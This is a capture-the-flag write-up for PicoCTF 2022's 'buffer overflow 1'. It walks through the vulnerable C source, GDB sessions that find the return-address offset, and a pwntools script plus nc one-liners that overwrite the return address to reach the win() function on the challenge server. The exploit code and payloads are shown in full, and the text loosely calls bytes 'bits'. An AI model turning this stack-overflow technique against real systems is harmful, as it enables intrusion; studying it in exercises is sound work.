## Challenge Text:
```consoleAuthor: Sanjay C / Palash Oswal
Control the return address. Now we're cooking! You can overflow the buffer and return to the flag function in the program. You can view source here. And connect with it using nc saturn.picoctf.net 59737``` ## Solution:
- We are provided with the following source code and the associated, compiled executable:
```c#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/types.h>#include "asm.h"​#define BUFSIZE 32#define FLAGSIZE 64​void win() {  char buf[FLAGSIZE];  FILE *f = fopen("flag.txt","r");  if (f == NULL) {    printf("%s %s", "Please create 'flag.txt' in this directory with your",                    "own debugging flag.\n");    exit(0);  }​  fgets(buf,FLAGSIZE,f);  printf(buf);}​void vuln(){  char buf[BUFSIZE];  gets(buf);​  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());}​int main(int argc, char **argv){​  setvbuf(stdout, NULL, _IONBF, 0);   gid_t gid = getegid();  setresgid(gid, gid, gid);​  puts("Please enter your string: ");  vuln();  return 0;}```
- Looking at the code, we see that the program takes an unbounded input of which it has only allocated 32 bits for and consequently is vulnerable to a buffer overflow attack.   The developer was kind to us by providing feedback with respect to the return address value and so we'll know when/how we've overwritten it while troubleshooting our exploit code.  Typically this won't be the case, so we'll use GDB to help us determine these details when we get to that step.
- The goal will be to change the flow of the program by overwriting the return address here with the address of the "win()" function.  The win() function will print the value of the flag that we are looking for. 
- We're given an instanced service that we can connect to via netcat and find that when we enter strings we get the same return address each time (0x804932f):
```┌──(shinris3n㉿kodachi)-[~/sec/CTFs/PicoCTF2022/buffer overflow 1]└─$ nc saturn.picoctf.net 59737Please enter your string: testOkay, time to return... Fingers Crossed... Jumping to 0x804932f
┌──(shinris3n㉿kodachi)-[~/sec/CTFs/PicoCTF2022/buffer overflow 1]└─$ nc saturn.picoctf.net 59737                                                                               Please enter your string: tes2Okay, time to return... Fingers Crossed... Jumping to 0x804932f
```Setting up a local environment to test the program and develop our exploit:
```┌──(shinris3n㉿kodachi)-[~/sec/CTFs/PicoCTF2022/buffer overflow 1]└─$ lsexploit.py  flag.txt  vuln  vuln.c
┌──(shinris3n㉿kodachi)-[~/sec/CTFs/PicoCTF2022/buffer overflow 1]└─$ cat flag.txtpicoCTF{test_flag}
┌──(shinris3n㉿kodachi)-[~/sec/CTFs/PicoCTF2022/buffer overflow 1]└─$ ./vulnPlease enter your string: test3Okay, time to return... Fingers Crossed... Jumping to 0x804932f```
- We find by running the executable locally that the return address is identical so ASLR is conveniently off and we can focus on finding the specific address of the win() function.  We can use GDB to figure this out.  [PEDA - Python Exploit Development Assistance for GDB](https://github.com/longld/peda) is being used here on top of GDB.  While isn't really needed for a basic challenge like this one, it can be extremely helpful in general and is highly recommended.  Running GDB and looking through the functions:
```c┌──(shinris3n㉿kodachi)-[~/sec/CTFs/PicoCTF2022/buffer overflow 1]└─$ gdb vulnGNU gdb (Debian 10.1-2) 10.1.90.20210103-gitCopyright (C) 2021 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.Type "show copying" and "show warranty" for details.This GDB was configured as "x86_64-linux-gnu".Type "show configuration" for configuration details.For bug reporting instructions, please see:<https://www.gnu.org/software/gdb/bugs/>.Find the GDB manual and other documentation resources online at:    <http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".Type "apropos word" to search for commands related to "word"...Reading symbols from vuln...(No debugging symbols found in vuln)gdb-peda$ info functionsAll defined functions:
Non-debugging symbols:0x08049000  _init0x08049040  printf@plt0x08049050  gets@plt0x08049060  fgets@plt0x08049070  getegid@plt0x08049080  puts@plt0x08049090  exit@plt0x080490a0  __libc_start_main@plt0x080490b0  setvbuf@plt0x080490c0  fopen@plt0x080490d0  setresgid@plt0x080490e0  _start0x08049120  _dl_relocate_static_pie0x08049130  __x86.get_pc_thunk.bx0x08049140  deregister_tm_clones0x08049180  register_tm_clones0x080491c0  __do_global_dtors_aux0x080491f0  frame_dummy0x080491f6  win0x08049281  vuln0x080492c4  main0x0804933e  get_return_address0x08049350  __libc_csu_init0x080493c0  __libc_csu_fini0x080493c5  __x86.get_pc_thunk.bp0x080493cc  _fini```
- We can see that the address we want to actually go to is `0x080491f6  win`, and so our goal is to overwrite the return address with this one.  Since we have the source code and know the buffer length we can probably jump right into exploiting the service over netcat and working our way up from 32 characters, but to approach this in a way that works more generally (i.e. when we don't get direct information about the address space from the program itself) we can continue to use GDB and generate a long string via metasploit's pattern-create or this handy [online tool](https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html).
```cgdb-peda$ runStarting program: /home/shinris3n/sec/CTFs/PicoCTF2022/buffer overflow 1/vuln Please enter your string: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2AOkay, time to return... Fingers Crossed... Jumping to 0x35624134
Program received signal SIGSEGV, Segmentation fault.[----------------------------------registers-----------------------------------]EAX: 0x41 ('A')EBX: 0x41326241 ('Ab2A')ECX: 0x41 ('A')EDX: 0xffffffff ESI: 0x1 EDI: 0x80490e0 (<_start>:       endbr32)EBP: 0x62413362 ('b3Ab')ESP: 0xffffd0b0 ("Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A")EIP: 0x35624134 ('4Ab5')EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------]Invalid $PC address: 0x35624134[------------------------------------stack-------------------------------------]0000| 0xffffd0b0 ("Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A")0004| 0xffffd0b4 ("b7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A")0008| 0xffffd0b8 ("8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A")0012| 0xffffd0bc ("Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A")0016| 0xffffd0c0 ("c1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A")0020| 0xffffd0c4 ("2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A")0024| 0xffffd0c8 ("Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A")0028| 0xffffd0cc ("c5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A")[------------------------------------------------------------------------------]Legend: code, data, rodata, valueStopped reason: SIGSEGV0x35624134 in ?? ()```
- When the program crashes, we can see the return address (the value of the EIP register) was overwritten with "4Ab5".  Using the online tool we see the offset is 44 bits.  
![patternoffset.png](https://shinris3n.github.io/assets/writeups/PicoCTF2022/patternoffset.png)
- So now, we can create a string of 44 bits and then control the value of EIP with the following 4 bits.  Trying this with a pattern of length 44 and then our own string (`Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3AbHELO`), then running again:
```cgdb-peda$ runStarting program: /home/shinris3n/sec/CTFs/PicoCTF2022/buffer overflow 1/vuln Please enter your string: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3AbHELOOkay, time to return... Fingers Crossed... Jumping to 0x4f4c4548
Program received signal SIGSEGV, Segmentation fault.[----------------------------------registers-----------------------------------]EAX: 0x41 ('A')EBX: 0x41326241 ('Ab2A')ECX: 0x41 ('A')EDX: 0xffffffff ESI: 0x1 EDI: 0x80490e0 (<_start>:       endbr32)EBP: 0x62413362 ('b3Ab')ESP: 0xffffd0b0 --> 0x0 EIP: 0x4f4c4548 ('HELO')EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------]Invalid $PC address: 0x4f4c4548[------------------------------------stack-------------------------------------]0000| 0xffffd0b0 --> 0x0 0004| 0xffffd0b4 --> 0xffffd184 --> 0xffffd334 ("/home/shinris3n/sec/CTFs/PicoCTF2022/buffer overflow 1/vuln")0008| 0xffffd0b8 --> 0xffffd18c --> 0xffffd370 ("SHELL=/bin/bash")0012| 0xffffd0bc --> 0x3e9 0016| 0xffffd0c0 --> 0xffffd0e0 --> 0x1 0020| 0xffffd0c4 --> 0x0 0024| 0xffffd0c8 --> 0x0 0028| 0xffffd0cc --> 0xf7ddb905 (<__libc_start_main+229>:       add    esp,0x10)[------------------------------------------------------------------------------]Legend: code, data, rodata, valueStopped reason: SIGSEGV0x4f4c4548 in ?? ()```
- Now we need to substitute in the address of the win() function, so we'll need to change the way we're interacting with the program a bit and pipe our string so we can send the bytecode across.  For example: `gdb-peda$ run < <(echo -ne "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3AbHELO")` gives the same results as the above.  Now we can change the last 4 bits to the win() address we found earlier (0x080491f6), in little endian format.  Our full input to GDB becomes:  `run < <(echo -ne "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab\xf6\x91\x04\x08"`
```cgdb-peda$ run < <(echo -ne "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab\xf6\x91\x04\x08")Starting program: /home/shinris3n/sec/CTFs/PicoCTF2022/buffer overflow 1/vuln < <(echo -ne "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab\xf6\x91\x04\x08")Please enter your string: Okay, time to return... Fingers Crossed... Jumping to 0x80491f6picoCTF{test_flag}
Program received signal SIGSEGV, Segmentation fault.[----------------------------------registers-----------------------------------]EAX: 0x13 EBX: 0x41326241 ('Ab2A')ECX: 0x13 EDX: 0xffffffff ESI: 0x1 EDI: 0x80490e0 (<_start>:       endbr32)EBP: 0x62413362 ('b3Ab')ESP: 0xffffd0b4 --> 0xffffd184 --> 0xffffd334 ("/home/shinris3n/sec/CTFs/PicoCTF2022/buffer overflow 1/vuln")EIP: 0x0EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------]Invalid $PC address: 0x0[------------------------------------stack-------------------------------------]0000| 0xffffd0b4 --> 0xffffd184 --> 0xffffd334 ("/home/shinris3n/sec/CTFs/PicoCTF2022/buffer overflow 1/vuln")0004| 0xffffd0b8 --> 0xffffd18c --> 0xffffd370 ("SHELL=/bin/bash")0008| 0xffffd0bc --> 0x3e9 0012| 0xffffd0c0 --> 0xffffd0e0 --> 0x1 0016| 0xffffd0c4 --> 0x0 0020| 0xffffd0c8 --> 0x0 0024| 0xffffd0cc --> 0xf7ddb905 (<__libc_start_main+229>:       add    esp,0x10)0028| 0xffffd0d0 --> 0x1 [------------------------------------------------------------------------------]Legend: code, data, rodata, valueStopped reason: SIGSEGV0x00000000 in ?? ()```
- We can see that this time, we've successfully overwrote the return address with the win() function and the local flag is returned before the program crashes and exits. 
- Now we can write some code that will interact with the network service and get the real flag.  An easy way to do this, and again one that will work more generally, is to use python pwntools (which may be installed via `pip3 install pwn`).  
```python# PicoCTF 2022 - Buffer Overflow 1# shinris3n/NINPWN
from pwn import * # pip3 install pwn
# Open up connection.address = 'saturn.picoctf.net'port = 59737tcpsocket = remote(address, port)
# Receive server input requestprint((tcpsocket.recvuntil('\n'.encode('latin-1'))).decode('latin-1'))
# Define payloadpayload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab\xf6\x91\x04\x08"
# Encode and send payloadtcpsocket.sendline(payload.encode('latin-1'))print ('Sent: 0x' + binascii.hexlify(payload.encode('latin-1')).decode('latin-1'))
# Receive flagprint((tcpsocket.recvline()).decode('latin-1')) # Receive line after string is enteredprint((tcpsocket.recv()).decode('latin-1')) # Receive the flag
# Catch a shell (N/A to this challenge, but sharing because it's an extremely helpful function to know about when needing to exploit a system!)# tcpsocket.interactive()```- The exploit code establishes a connection to our instance and uses our previous payload string to successfully capture the flag:
```console┌──(shinris3n㉿kodachi)-[~/sec/CTFs/PicoCTF2022/buffer overflow 1]└─$ python3 exploit.py [+] Opening connection to saturn.picoctf.net on port 59737: DonePlease enter your string: 
Sent: 0x4161304161314161324161334161344161354161364161374161384161394162304162314162324162334162f6910408Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{redacted_flag_try_it_yourself_at_the_picoGym!}[*] Closed connection to saturn.picoctf.net port 59737```
- If the pwntools library is not available, or for some reason the script doesn't seem to interact properly with the service, command line solutions sending across the same payload include the following:
```console(Using echo)
shinris3n@bokken:~/sec/CTFs/PicoCTF2022/buffer overflow 2$ (echo -ne 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab\xf6\x91\x04\x08\n'; cat -) | nc saturn.picoctf.net 60968Please enter your string: 
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6picoCTF{redacted_flag_try_it_yourself_at_the_picoGym!}```
```console(Using Python 3)
shinris3n@bokken:~/sec/CTFs/PicoCTF2022/buffer overflow 2$ (python3 -c "import sys; sys.stdout.buffer.write(b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab\xf6\x91\x04\x08')"; cat -) | nc saturn.picoctf.net 60968Please enter your string: 
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6picoCTF{redacted_flag_try_it_yourself_at_the_picoGym!}```
```console(Using printf)
shinris3n@bokken:~/sec/CTFs/PicoCTF2022/buffer overflow 2$ (printf 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab\xf6\x91\x04\x08'; cat -) | nc saturn.picoctf.net 58429Please enter your string: 
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6picoCTF{redacted_flag_try_it_yourself_at_the_picoGym!}```